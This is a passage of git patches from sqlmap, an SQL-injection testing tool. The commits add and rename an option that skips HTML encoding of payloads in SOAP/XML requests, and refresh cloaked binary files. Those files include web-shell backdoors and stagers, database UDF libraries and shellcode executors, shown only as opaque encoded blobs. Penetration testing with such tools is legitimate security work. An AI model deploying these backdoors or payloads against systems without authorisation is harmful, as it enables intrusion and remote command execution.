VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9312d26da87cfc82594cf66c667a9fc099f8c802 Mon Sep 17 00:00:00 2001 From: soffensive <9149004+soffensive@users.noreply.github.com> Date: Thu, 5 Feb 2026 10:52:25 +0100 Subject: [PATCH 101/135] Make XML/HTML encoding in SOAP requests optional (#6015) Co-authored-by: soffensive --- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 2 +- sqlmap.conf | 4 ++++ 4 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c38e61eefde..44b4ca8f560 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -63,6 +63,7 @@ "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", + "skipXmlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ffba577c24e..76cf5dbf771 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -276,6 +276,9 @@ def cmdLineParser(argv=None): request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") + request.add_argument("--skip-xml-encode", dest="skipXmlEncode", action="store_true", + help="Skip HTML encoding of payload data for SOAP/XML") + request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") diff --git a/lib/request/connect.py b/lib/request/connect.py index 934d533fb7f..4d8024c3489 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1116,7 +1116,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: - if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): + if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML) and not conf.skipXmlEncode: # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace("&#", SAFE_HEX_MARKER) diff --git a/sqlmap.conf b/sqlmap.conf index 9d0ca92db03..c2f8c10e7cf 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -198,6 +198,10 @@ safeFreq = 0 # Valid: True or False skipUrlEncode = False +# Skip HTML encoding of payload data for SOAP/XML. +# Valid: True or False +skipXmlEncode = False + # Parameter used to hold anti-CSRF token. csrfToken = From b1e36c6ddcb659ab8c31a981aed4fc17c5513597 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Feb 2026 10:54:14 +0100 Subject: [PATCH 102/135] Minor update for #6015 --- data/txt/sha256sums.txt | 10 +++++----- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- sqlmap.conf | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 418479d2b5a..d5fa23055a2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py +67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b lib/core/option.py 9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -46ff4955bcc1d33301c67788c0aca4194e9d25dc1176cf70ccd7de7a010f400c lib/core/settings.py +39825ddbb7da5b711ce9f9dc7a43d8ba7ee0affaa716b12489e63df429434ea4 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -199,7 +199,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87 lib/parse/cmdline.py +4c56ad26ffb893d37813167de172b6c95c120588bfdc899f102977a2997b9bb9 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -211,7 +211,7 @@ d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payl 1d5972aba14e4e340e3dde4f1d39a671020187fb759f435ba8b7f522dd4498fa lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py -c7ab9699f30b67fdee3ddafdc215981da21aa6820d8dcd620f5c2ca82ddde2f4 lib/request/connect.py +f3a457675d7c2b85c7d5da5e336baf2782eaf0abbcb2ecdeb3c0e88d5bb60528 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py @@ -484,7 +484,7 @@ eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generi 423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py 4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml -a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf +627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf 4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d5a65f1bcd..66b0303dee7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.12" +VERSION = "1.10.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 76cf5dbf771..cf200380630 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -276,8 +276,8 @@ def cmdLineParser(argv=None): request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") - request.add_argument("--skip-xml-encode", dest="skipXmlEncode", action="store_true", - help="Skip HTML encoding of payload data for SOAP/XML") + request.add_argument("--skip-xmlencode", dest="skipXmlEncode", action="store_true", + help="Skip safe encoding of payload data for SOAP/XML") request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") diff --git a/sqlmap.conf b/sqlmap.conf index c2f8c10e7cf..e56184d06af 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -198,7 +198,7 @@ safeFreq = 0 # Valid: True or False skipUrlEncode = False -# Skip HTML encoding of payload data for SOAP/XML. +# Skip safe (HTML) encoding of payload data for SOAP/XML. # Valid: True or False skipXmlEncode = False From 5a097c74c07ed6b68243c6b2593f91f7fa5332d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Feb 2026 11:10:10 +0100 Subject: [PATCH 103/135] Minor refresh of cloaked files --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.cfm_ | Bin 299 -> 299 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.cfm_ | Bin 453 -> 453 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/txt/sha256sums.txt | 96 +++++++++--------- data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/12/lib_postgresqludf_sys.so_ | Bin 3257 -> 3257 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes lib/core/settings.py | 2 +- 49 files changed, 50 insertions(+), 50 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 8d82ec3bd3461c348a16ed97d893ad4ea3b1e299..74674046ee4aca53ac1a24d61aef00e9a45ea083 100644 GIT binary patch literal 243 zcmVk-|*%A38#2NFT=I|_F*QIg^BCGL(N%5OL09U-2~f!Cx0qmRd`R5wO5#g zJ>;Ke-43N{hU^Jc*PSOvUwn4iwO~ehY6?~T9QzZ^@6uO~soRUt9Rg9_6&G^q!!{_+ zXb70|8c}7*oyByX&ne3teR6gv$zNx4zm>hzqSJUCT!RSCszZMt%QNmUie-Cq(v3o} zrEPOjnyJ$t6utLP2jTu~Qgh$RwiwZhSCV28N?NrQH5Y(-sggGbN{IrvtZc;Em4 literal 243 zcmVR?zXs&9*RbB7r>;>_eW#Cw9mH8RN!ZKb8;*c+#;T>7CCn;LRE2~jZ}%W zJi^*b>`3?-k-;}+@18byURpEsgeDsbeJ5+rB=`dT?(`C(n4Q+63NLT$Efizg!Vqoa zSx&`(4SZYsrN(8h&JT_-Of)N7-f~$%hnB45qxC&7ZN*i+y>3A*^DzGai$gwM6#6`QhRHm9Q>MPA|fjvLP+X)f!Ko8ClbhuaVRkTuvZcf0_R(U^w)9|QNiSMUam-9R7Oldf?<^=2) zVXxk+;AGb);po1MhRt&9hVZ_Fw0PvQm8U$TWW#)eZMi2db|sm*Ivx#9M(sQ-vBQD; zIorDFpvks({Y3rr0S{#DRNlD405TU4*mvR8KrB49E>B=GprtjTj%2z)ljFoB(~7(H@Au81*p(T%-X8c_u^=Bs?_mSJaj`XumB_&P>> L8mG2(QE7>Ug|OMW literal 417 zcmV;S0bc$O?zUu}I+aFoFTf25Ghk{h&Mbzm^=z-95MPLy@?5YbW=h}?;A{aWh!M`X z9VLoqn zQ0ar%_etp$+3T;ohwC@Nx3=T(qgC2~t)wlJW#u`pT>pAqVF;&)0v#NFN6UEufQ8(M zF7|}mn98R|{9?G-FiAO{L-U64I57qw*-@nUacW`4IbvP_-3WO$PF!=-)o{6)dB~#H z2jS_ngs%^=kQnd9=@S9vNrD2g#$R^nfR7)9mG3W=la`QgypI>{T9_VFGs}^-IUD_E zsk__(puKSjrJcBJE3}rw#!J|%qp*8=Va>^(lf{$sis^r>5~+(d1CDcF@U5G6(z^bK zO45Bsy3}I)vrP7AugVe5*#~2iVLeA_YYNp}iD}oCbp`vK(OHZ};jO{LD4^HLn(ojH zYxCm@6Y8`Tt?xE^IXY{!C#<8LAUdSqV1RnK!9daS+@rhDi^H=M-E5e+J4s#3*4wPECj_KVCz^F z1Z?F8VTSMh!u{o32GJi-@cn$4`n8ckYEIM~b|}gli_uPqRo2Ujh!*Px=WQSAR~bwI xDcAt#l204j@GPIZIp{E6(e(GVK!7#zusNgg{=cSQO8=4T(jc zve0L0TEw&1f|1D4o5BBBJe2-K(wv~!6Gmiv+CP=-;otY;r78`1aVKU_`B$CyM)T&9 z^Ax^<2%DtPC!@_2X5o7&4&QbcCm|8l_eTFxW#9mvtqX|Z-=K-OK0pw4;J*tlLDF$qzbO*<#o5Y5oXYFAscgM&otxEtul}Pebm#hE) diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index c28a51a5abf61ac329d54a08b47339495cd40edc..112a15ec8011cde4e64505ea2756e054b7a3d6bb 100644 GIT binary patch literal 359 zcmV-t0hs_Tg3)cSjo{Mm; z2`^mG*(O=ViB~6ebHU}c0Z(-g7?!E7_yVU2$ap!u#&Zz)T^2Y|HIP=n`uWHw9YxPo zIw+s_zXzbY^8{tzPKH@sAO(})=WBscsQ@iR$5-trAA9o0JfdT-^S_(T{0KQqkYr}sBq78ci9@Ns%+q4D)Y z@&lL`5aWY}-vu7?X)D1`3g4k)xbJ=klfr>w3_)DM)`K_#3yet0kzK2;XItPphG`7% z7hvfoHt0``V_m@y!mY!oKVKRv;5;D`Nwj^%oYJOjzWBV$?^h%gS5N+cmnemoe084k Fs9tyyvl;*Z literal 359 zcmV-t0hs;|?xv&&8%jrU)Yzj@1;V61$+*!waLaKZ;)7jFgahg79}tZU9Q(k;rifvk z2niYe=wJl4o_ZNaOTzSp0BJBHDbV!Y?=P7+@OvnY$5mC-Y*1w)BE4vh!ur`49Ak=j z3vR-Ms4AX_%LjDtPoNxd5ktcTAGl2{2dyP_%JPJ!I*v#TAl+MKw&jltEMK_m#EKOI%y3)+Mpg zpwG>|k|*7xT~N!Vmh(YRODVY0?`bA72Qb~zrqOb6Cs2wh=UhZvneyaw z^CjInA*J5+$S5GeQ7F)V3;Eyu0NFZqanVeCySTdzrMRAW$|`+&F4_vE2dI9kF8J53VGkwj6%u zN|n;?9D9-ZExD;Y0pMpx#Cs1V(oqY3qlCxm?8O4MdUAg98E0omNly_}4(dB>z^|?) zs$D~5!ON8wIOdD4bApJ{CGeG?UbpbUlZWpv(J+t2-!A0z^br^Kr@MTYD z^T_oH%O!ZaCzEs+>&XI#b|5AAgu|;TpJHZaV)x~mp(d91r=#lMtc~F-u~#BO&B-49 zUlCRNDH5gBH?EpYuQ>`MJ-e`c=8+Lvd?$^gvg&3sq%eYaTOw?z&`t|OyagpNSVe)~ zi8|mDfz>^87%6~MPpk!{&vYub@jJ%shr1b{7;e$@3Q4%U>!i-(g=MLnpb5J;?h|R~ zk+7CQd7{cZsGFZy6)77br=gkx_qh_!BFC9p@+dPu6lnyPvQjz*iNE;+$%@Y9fpN4^ Lo~M^ZB&>8B8bjxi literal 469 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 PA)RMhNr9wCQ;8P7?|M*- diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index acbf840bc040fb45830c08ad4575711d7d13e998..89dbea0056c06e2933f6e137514c40f12d6af6f4 100644 GIT binary patch literal 529 zcmV+s0`C1H-|#qLdXy=+ea4rv%mIb4FWn*~hYLuoQfE(w0F`D1sIX{H5MQMj2`DZ7IQAfFNm# zZSJ_Y9zr}fe1VBjU;nryX5~f_j*{epPu?aops40YG5r`mtO9_Uly*_kMtq7edE+>= zH}F3lF);`k<=1qA?~Z)hl?G4?e3(8QeDa8|2&O~BahYe&pI^xYZ`+1Mv)%I(36;7l z6A6y_WM9nU>t|Yuj&Cm&z(&$6RF0O7n~7eYgECA`4^;sSspyv zdZ`u=1=|wIpbyXxBMd1h5{)7{ZV8VjcQjlgwAC+#QF3d3b2YE+z73iK74QnAZMQrB z^+q9_j;)!wko>raxjEbiy!mv(DS^!HT+*SabV_4TXO}ot5-2B$T^H(-?jRk6Bd$GG|fk39ZH=U~gdMWt6+{E2Oln~zb7 T@DUz`tBx~N9Tzlo5qv57n_vA# literal 529 zcmV+s0`C0}?zUnWKa)mvFZlKRlXd|n#gmKkSyNjz5S4Mp3mm%wYe*I(9zZCrXrBYLI4H=&gzU=h!<@~)35}68N^F?>xkfSej0e*Y!8HSv1T;+ zdc%f=CP6I+eW%QQZn@=GamaWewvqL+PWWRUk?y-RCeS7flmU^cl~5G?cRJTYZq5dV z5A!Z9Fc(cU)R8Ii_@hGTtp!0leZG4!O|;eAAB%nQNt$;5o_UNZUY*-Fr0~rlF_xiI585D z)-Vnkyn7teXEXUJ;IIU?bA;DAqM|aQKf~T0Jv+)mB2X*&=$?MK8|^)hhN%5YXjoyX zZGJp(&L;5=wMi1)v-VRtlaLb`lv6g_CmjMqgD-OE$jUzboG^B(_)AdYT2z z%|$S*kBi)tp}OV!t`y=mg!*OjD5r_TZIt}mV`p7rUz90j6BxOo7U%9N*&L~9ny%=J zHp=N*#+o`S9RvdNwx;*72Z3*W2V|RmFu$ct}UH^-^pRExfOaYhGH=06e+iTOfL%OVy6gMTzB{9}H8t+&~i{_b^ z?nxqEx1b}WAjl0H#6Y6;cti67nOqD5!^LUkKMEu5DyPQ;S%u};r{ubyu|&;nM+VH8 zQ7$uM+684HYpNTkdfv^(=g|as!GBuIybfK}ISzwjZka^3h0SQEJEf2s;Q>~*duP9J zG@8~ti&oywr!d<^98J>$>DX<+%n@i literal 453 zcmV;$0XqH2N(a9~1z*LhEUp45DO^C1T^f?06{%_SoZ^TK3A_v_}x8`XTbz0M0x zSD#G-vDHe7@?-PEQ`IF5@GpvZ=LNOO0RdU)I>n-hDzHJBQtnFd3o)vb+8|HqoXe-B z)=D#OwuWYj5spx3(`}r`KtSR$n0iSr@`E&%C?_4?5~S8NSfilzmZInErfKtEe+AvB zPzZKT>q9tFe1|2KLfzc<=J!EW@Hq##t0QCQ0S%H;Z@&SXw2L*=EQqcs*#bv~dO`YK z(vZi$kG2mTusiOk#x;39DmZ-%csbK$+nyfm8|A8!W2Q8SD<}xQt_rrY*^D~)iA+J+ z?ZCv4{pj^W{WSeVg=t{tKE4KlGyoIY3lPuVDP)P5gZBj*%<#xf8DJ1@3CRzF8M!xN vn8xYIZcVCagnR+=PO$)v4$a8*uN9MyXh2pj&6$u@+0Yp_@^kLVwB!z diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index f1c0feb3384caef680aab6fec60548be5bb78b86..c73b3ebbf19b44533a3ede124544444d8b846d47 100644 GIT binary patch literal 1321 zcmV+^1=ji^-{3u4D25J0l-d+U0By5=BR3zMlZOpn2kz_U!43=O>9T@?ac{8cvI;Qi zC+~{2-mH90PC%uiYwz%fm54&=a88$Ep$p={B@6&nKFE#ciwAW4f3I;Z+9AAEap+wg zy;7a_g)VM!mLV<-MprMOlWq|8)QiY>OYN^MM#&Y(#?tn10NW>!_#;I2thA-w(8TPF z=-BkxE+&Y{OV$NnXj@Eg(n=8GVVdr^i1D*WyeXPw1;y9SY&TnwQH%u3e&Y-B=+b$d z52o(vjwy_!%yN?jIYz5jETkPaYml!G85k4y4}5U#74R09Rsa!=-&hmJOux8c0$;|n z5@redC$?T4DAvjhV~VQXBh|;Os|_|CObmU4VOi$wmFYz=mBqlqhaipID?R^7Ai=pB z(a?%fP(0ZK42P%XaGS!&M407(u1s#2s=N3gMZn*Nrm1A-UU#i0|5gV+tQ>QFZ_x65 zYx!ldxpD~DaD6;YKMvpkYO8CE8&X&1vF~6mxH=}}=ra5@p&nsjM&JglZUF&FdpUt- zxQV2c?DLNNynaQUWy$4S)*F=-V!HVg=0Wfp2Cdo2?|c~==N7%PRTc$+EqKcbF6XKK z-;iC42>&%)Eog0UC%w+D^W!i%wu2_wl(%;j6lCYGQ1WblxNm(5P)M#40SY7mJ^AO~ z;w8LfX@c(&o=Z)MfEh*d*V#G%);(bv=-N$c)-nd6wbFpiuKOQ5g0GyDpI_Op*uGTy zEt@n`*D7_C;p=G@HRlkqpuQz`+*{)kR~u+zGqN=%?`j`N9u|o9^L7g^_t}#AX4eN#W|g_-9vz-1P*)0)(q8L zvd>HV)&4HG;mIQ*8*k_^!t z)1|T~B=X9HA5Zd)=~B<{iIkP+&YJajw!;Bf7uUx+f-o zTbJ%6HywE6gwWDXauz8u zL@=hANF4*#ITPe3smzJL}AH;{v{i%uFDL$>C@j6-=wMFsG!Xd)1n#&&yIVV fj8|^2#F9O%-LgLOMe0l8-?jDlJMxhs%uW~!yQrH5 literal 1321 